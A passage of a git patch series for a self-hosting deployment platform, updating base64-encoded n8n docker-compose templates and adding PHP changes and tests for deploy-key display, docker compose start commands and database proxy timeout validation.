PSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUPSR7TjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUOi0xNX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIG44bgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1NjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "n8n", "workflow", @@ -2923,7 +2923,7 @@ "n8n": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0RCX1NRTElURV9QT09MX1NJWkU9JHtEQl9TUUxJVEVfUE9PTF9TSVpFOi0yfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdEQl9TUUxJVEVfUE9PTF9TSVpFPSR7REJfU1FMSVRFX1BPT0xfU0laRTotMn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0ke1NFUlZJQ0VfUEFTU1dPUkRfTjhOfScKICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVEhfVE9LRU49JHtTRVJWSUNFX1BBU1NXT1JEX044Tn0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", diff --git a/tests/Feature/ApplicationSourceLocalhostKeyTest.php b/tests/Feature/ApplicationSourceLocalhostKeyTest.php new file mode 100644 index 000000000..9b9b7b184 --- /dev/null +++ b/tests/Feature/ApplicationSourceLocalhostKeyTest.php @@ -0,0 +1,59 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('Application Source with localhost key (id=0)', function () { + test('renders deploy key section when private_key_id is 0', function () { + $privateKey = PrivateKey::create([ + 'id' => 0, + 'name' => 'localhost', + 'private_key' => 'test-key-content', + 'team_id' => $this->team->id, + ]); + + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'private_key_id' => 0, + ]); + + Livewire::test(Source::class, ['application' => $application]) + ->assertSuccessful() + ->assertSet('privateKeyId', 0) + ->assertSee('Deploy Key'); + }); + + test('shows no source connected section when private_key_id is null', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'private_key_id' => null, + ]); + + Livewire::test(Source::class, ['application' => $application]) + ->assertSuccessful() + ->assertSet('privateKeyId', null) + ->assertDontSee('Deploy Key') + ->assertSee('No source connected'); + }); +}); From 5b701ebb07cb90b2e2cf7ac98e47ee82bab18279 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 9 Mar 2026 17:23:34 +0100 Subject: [PATCH 152/305] refactor(application-source): use Laravel helpers for null checks Replace is_null() and !is_null() with blank() and filled() helper functions for better readability and Laravel idiomatic style. --- resources/views/livewire/project/application/source.blade.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/resources/views/livewire/project/application/source.blade.php b/resources/views/livewire/project/application/source.blade.php index 3178d52b9..1e624738c 100644 --- a/resources/views/livewire/project/application/source.blade.php +++ b/resources/views/livewire/project/application/source.blade.php @@ -28,7 +28,7 @@
Code source of your application.
- @if (is_null($privateKeyId)) + @if (blank($privateKeyId))
Currently connected source: {{ data_get($application, 'source.name', 'No source connected') }}
@@ -44,7 +44,7 @@ class="font-bold text-warning">{{ data_get($application, 'source.name', 'No sour
- @if (!is_null($privateKeyId)) + @if (filled($privateKeyId))

Deploy Key

Currently attached Private Key: {{ $privateKeyName }} From e3daba0b1d960aa0a5e5305bb833002ed7c5d863 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 09:43:29 +0100 Subject: [PATCH 153/305] chore: prepare for PR --- app/Jobs/ApplicationDeploymentJob.php | 12 ++- ...posePreserveRepositoryStartCommandTest.php | 95 +++++++++++++++++++ 2 files changed, 104 insertions(+), 3 deletions(-) create mode 100644 tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index dfcf9ee09..c9f0f1eef 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -805,9 +805,15 @@ private function deploy_docker_compose_buildpack() ); $this->write_deployment_configurations(); - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => true], - ); + if ($this->preserveRepository) { + $this->execute_remote_command( + ['command' => "cd {$server_workdir} && {$start_command}", 'hidden' => true], + ); + } else { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => true], + ); + } } else { $command = "{$this->coolify_variables} docker compose"; if ($this->preserveRepository) { diff --git a/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php b/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php new file mode 100644 index 000000000..2d33b60f9 --- /dev/null +++ b/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php @@ -0,0 +1,95 @@ +not->toContain('docker exec'); + expect($command)->toStartWith("cd {$serverWorkdir}"); + expect($command)->toContain($startCommand); +}); + +it('generates executeInDocker command when preserveRepository is false', function () { + $deploymentUuid = 'test-deployment-uuid'; + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $basedir = '/artifacts/test-deployment-uuid'; + $workdir = '/artifacts/test-deployment-uuid/backend'; + $preserveRepository = false; + + $startCommand = 'docker compose -f /artifacts/test-deployment-uuid/backend/compose.yml --env-file /artifacts/test-deployment-uuid/backend/.env --profile all up -d'; + + // Simulate the logic from ApplicationDeploymentJob::deploy_docker_compose_buildpack() + if ($preserveRepository) { + $command = "cd {$serverWorkdir} && {$startCommand}"; + } else { + $command = executeInDocker($deploymentUuid, "cd {$basedir} && {$startCommand}"); + } + + // When preserveRepository is false, the command SHOULD be wrapped in executeInDocker + expect($command)->toContain('docker exec'); + expect($command)->toContain($deploymentUuid); + expect($command)->toContain("cd {$basedir}"); +}); + +it('uses host paths for env-file when preserveRepository is true', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $composeLocation = '/compose.yml'; + $preserveRepository = true; + + $workdirPath = $preserveRepository ? $serverWorkdir : '/artifacts/deployment-uuid/backend'; + $startCommand = injectDockerComposeFlags( + 'docker compose --profile all up -d', + "{$workdirPath}{$composeLocation}", + "{$workdirPath}/.env" + ); + + // Verify the injected paths point to the host filesystem + expect($startCommand)->toContain("--env-file {$serverWorkdir}/.env"); + expect($startCommand)->toContain("-f {$serverWorkdir}{$composeLocation}"); +}); + +it('uses container paths for env-file when preserveRepository is false', function () { + $workdir = '/artifacts/deployment-uuid/backend'; + $composeLocation = '/compose.yml'; + $preserveRepository = false; + $serverWorkdir = '/data/coolify/applications/app-uuid'; + + $workdirPath = $preserveRepository ? $serverWorkdir : $workdir; + $startCommand = injectDockerComposeFlags( + 'docker compose --profile all up -d', + "{$workdirPath}{$composeLocation}", + "{$workdirPath}/.env" + ); + + // Verify the injected paths point to the container filesystem + expect($startCommand)->toContain("--env-file {$workdir}/.env"); + expect($startCommand)->toContain("-f {$workdir}{$composeLocation}"); + expect($startCommand)->not->toContain('/data/coolify/applications/'); +}); From 184fbb98f3ec08d092af6dd7bd58a1e8af57427a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 09:59:19 +0100 Subject: [PATCH 154/305] fix(proxy): add validation and normalization for database proxy timeout - Extract proxy timeout configuration logic into dedicated method - Add min:1 validation rule for publicPortTimeout - Normalize invalid timeout values (null, 0, negative) to default 3600s - Add tests for timeout configuration normalization and validation --- app/Actions/Database/StartDatabaseProxy.php | 12 ++++++++++-- app/Livewire/Project/Service/Index.php | 2 +- tests/Feature/StartDatabaseProxyTest.php | 12 ++++++++++++ tests/Unit/ServiceIndexValidationTest.php | 11 +++++++++++ 4 files changed, 34 insertions(+), 3 deletions(-) create mode 100644 tests/Unit/ServiceIndexValidationTest.php diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index 0d20fa4a4..1de28a245 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -54,8 +54,7 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St if (isDev()) { $configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$database->uuid.'/proxy'; } - $timeout = $database->public_port_timeout ?? 3600; - $timeoutConfig = $timeout === 0 ? 'proxy_timeout 0;' : "proxy_timeout {$timeout}s;"; + $timeoutConfig = $this->buildProxyTimeoutConfig($database->public_port_timeout); $nginxconf = << 'required', 'excludeFromStatus' => 'required|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isPublic' => 'required|boolean', 'isLogDrainEnabled' => 'required|boolean', // Application-specific rules diff --git a/tests/Feature/StartDatabaseProxyTest.php b/tests/Feature/StartDatabaseProxyTest.php index c62569866..b14cb414a 100644 --- a/tests/Feature/StartDatabaseProxyTest.php +++ b/tests/Feature/StartDatabaseProxyTest.php @@ -43,3 +43,15 @@ ->and($method->invoke($action, 'network timeout'))->toBeFalse() ->and($method->invoke($action, 'connection refused'))->toBeFalse(); }); + +test('buildProxyTimeoutConfig normalizes invalid values to default', function (?int $input, string $expected) { + $action = new StartDatabaseProxy; + $method = new ReflectionMethod($action, 'buildProxyTimeoutConfig'); + + expect($method->invoke($action, $input))->toBe($expected); +})->with([ + [null, 'proxy_timeout 3600s;'], + [0, 'proxy_timeout 3600s;'], + [-10, 'proxy_timeout 3600s;'], + [120, 'proxy_timeout 120s;'], +]); diff --git 